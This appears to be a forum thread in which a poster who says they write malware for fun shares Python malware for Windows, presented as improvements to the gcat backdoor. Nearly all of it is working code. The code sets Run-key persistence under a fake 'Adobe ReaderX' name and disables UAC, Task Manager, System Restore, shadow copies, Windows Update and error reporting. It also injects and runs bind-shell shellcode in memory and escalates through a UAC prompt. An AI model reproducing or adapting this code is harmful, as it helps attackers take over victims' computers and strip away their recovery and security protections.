Yeah, I'm guessing it's something windows specific. Lots of crazy stuff happen on windows, but maybe I never developed much on that platform. The tempfile module should take care of everything for you ie. it knows where to create a tmp file and it allows you to create named files and all.
Btw, are you going somewhere with this script or is it just for learning? I've always dismissed python as an attack vector because the web always seemed a lot easier.
Not sure what you mean with 'web always seemed a lot easier' but i just like to make dank malware in my spare time. I actually wanted to open a pull request for gcat
https://github.com/byt3bl33d3r/gcat/...ter/implant.py and add the following code to make it nastier.
############################
#Original gcat code goes here
############################
# Only allow one instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
exit(0)
class pwn():
def persistence():
app_path = os.path.dirname(sys.executable)
filename = sys.argv[0]
config_path = os.path.join(app_path, filename)
tempdir = '%TEMP%'
if tempdir == current:
k =1
else:
shutil.copy2(config_path, tempdir)
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE)
SetValueEx(aKey,"foobar",1, REG_SZ, r"%TEMP%\implant.exe")
CloseKey(aKey)
except:
pass
def disabler():
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
subkeys = [ "Disabled", "DontSendAdditionalData", "LoggingDisabled" ]
for subkey in subkeys:
SetValueEx(aKey,subkey,0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"EnableLUA",0, REG_SZ, r"0")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
SetValueEx(aKey,"Disabled",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\vss", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\srservice", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", 0, KEY_WRITE)
SetValueEx(aKey,"DisableSR",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", 0, KEY_WRITE)
SetValueEx(aKey,"NoAutoUpdate",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"DisableTaskMgr",0, REG_SZ, r"1")
CloseKey(aKey)
except:
pass
############################
#Original gcat code goes here
############################
I already forked it over to make a sort of stager.
https://github.com/NullArray/gcat/blob/master/stager.pyBut i figured the new improvements would be better.
I also made this just for keks.
import os
import sys
import ctypes
import os.path
import pythoncom
import pywintypes
import win32api
import subprocess
from _winreg import *
import win32com.shell.shell as shell
class pwn():
def disabler():
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
subkeys = [ "Disabled", "DontSendAdditionalData", "LoggingDisabled" ]
for subkey in subkeys:
SetValueEx(aKey,subkey,0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"EnableLUA",0, REG_SZ, r"0")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
SetValueEx(aKey,"Disabled",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\vss", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\srservice", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", 0, KEY_WRITE)
SetValueEx(aKey,"DisableSR",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", 0, KEY_WRITE)
SetValueEx(aKey,"NoAutoUpdate",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"DisableTaskMgr",0, REG_SZ, r"1")
CloseKey(aKey)
except:
pass
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
def execute():
#Bind shell
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xb8\x47\x0b\x9e\x34\x5f\x33\xc9"
"\xb1\x53\x31\x47\x17\x03\x47\x17\x83\x80\x0f\x7c\xc1\xf2"
"\xf8\x02\x2a\x0a\xf9\x62\xa2\xef\xc8\xa2\xd0\x64\x7a\x13"
"\x92\x28\x77\xd8\xf6\xd8\x0c\xac\xde\xef\xa5\x1b\x39\xde"
"\x36\x37\x79\x41\xb5\x4a\xae\xa1\x84\x84\xa3\xa0\xc1\xf9"
"\x4e\xf0\x9a\x76\xfc\xe4\xaf\xc3\x3d\x8f\xfc\xc2\x45\x6c"
"\xb4\xe5\x64\x23\xce\xbf\xa6\xc2\x03\xb4\xee\xdc\x40\xf1"
"\xb9\x57\xb2\x8d\x3b\xb1\x8a\x6e\x97\xfc\x22\x9d\xe9\x39"
"\x84\x7e\x9c\x33\xf6\x03\xa7\x80\x84\xdf\x22\x12\x2e\xab"
"\x95\xfe\xce\x78\x43\x75\xdc\x35\x07\xd1\xc1\xc8\xc4\x6a"
"\xfd\x41\xeb\xbc\x77\x11\xc8\x18\xd3\xc1\x71\x39\xb9\xa4"
"\x8e\x59\x62\x18\x2b\x12\x8f\x4d\x46\x79\xd8\xa2\x6b\x81"
"\x18\xad\xfc\xf2\x2a\x72\x57\x9c\x06\xfb\x71\x5b\x68\xd6"
"\xc6\xf3\x97\xd9\x36\xda\x53\x8d\x66\x74\x75\xae\xec\x84"
"\x7a\x7b\x98\x8c\xdd\xd4\xbf\x71\x9d\x84\x7f\xd9\x76\xcf"
"\x8f\x06\x66\xf0\x45\x2f\x0f\x0d\x66\x6d\x13\x98\x80\x1b"
"\x83\xcd\x1b\xb3\x61\x2a\x94\x24\x99\x18\x8c\xc2\xd2\x4a"
"\x0b\xed\xe2\x58\x3b\x79\x69\x8f\xff\x98\x6e\x9a\x57\xcd"
"\xf9\x50\x36\xbc\x98\x65\x13\x56\x38\xf7\xf8\xa6\x37\xe4"
"\x56\xf1\x10\xda\xae\x97\x8c\x45\x19\x85\x4c\x13\x62\x0d"
"\x8b\xe0\x6d\x8c\x5e\x5c\x4a\x9e\xa6\x5d\xd6\xca\x76\x08"
"\x80\xa4\x30\xe2\x62\x1e\xeb\x59\x2d\xf6\x6a\x92\xee\x80"
"\x72\xff\x98\x6c\xc2\x56\xdd\x93\xeb\x3e\xe9\xec\x11\xdf"
"\x16\x27\x92\xef\x5c\x65\xb3\x67\x39\xfc\x81\xe5\xba\x2b"
"\xc5\x13\x39\xd9\xb6\xe7\x21\xa8\xb3\xac\xe5\x41\xce\xbd"
"\x83\x65\x7d\xbd\x81")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
execute()
if not shell.IsUserAnAdmin():
# Prompt UAC
ASADMIN = "asadmin"
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit(0)
if __name__ == "__main__":
main()
But on WinXP(My VM) the registry tampering doesn't quite work for some reason. Also, feel free to folow me on github, if you have one as well i'll follow you back.
https://github.com/NullArray